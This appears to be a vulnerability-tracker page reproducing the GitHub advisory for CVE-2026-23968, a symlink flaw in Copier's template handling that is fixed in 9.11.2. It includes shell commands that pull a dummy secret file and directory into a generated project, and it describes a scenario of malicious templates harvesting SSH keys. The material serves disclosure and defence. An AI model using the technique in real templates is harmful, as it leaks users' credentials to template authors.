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Open-source package vulnerability · PyPI

CVE-2026-23968: Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

mediumCVSS 4.0 6.8 · 3.1 5.5GHSA-xjhm-gp88-8pfx

Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with preservesymlinks: false (which is Copier's default…

Published Jan 21, 2026 · Updated Feb 2, 2026

Affected packages

copier

Ecosystem
PyPI
Affected
< 9.11.2
Fixed in
9.11.2
Check
pip show copier

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with `_preserve_symlinks: false` (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:
    echo "s3cr3t" > secret.txt

    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd

    uvx copier copy src/ dst/

    cat dst/stolen-secret.txt
    #s3cr3t
  • Illegally include a directory in the generated project via symlink resolution:
    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd

    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd

    uvx copier copy src/ dst/

    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a

Credited to sisp, cbrown1234.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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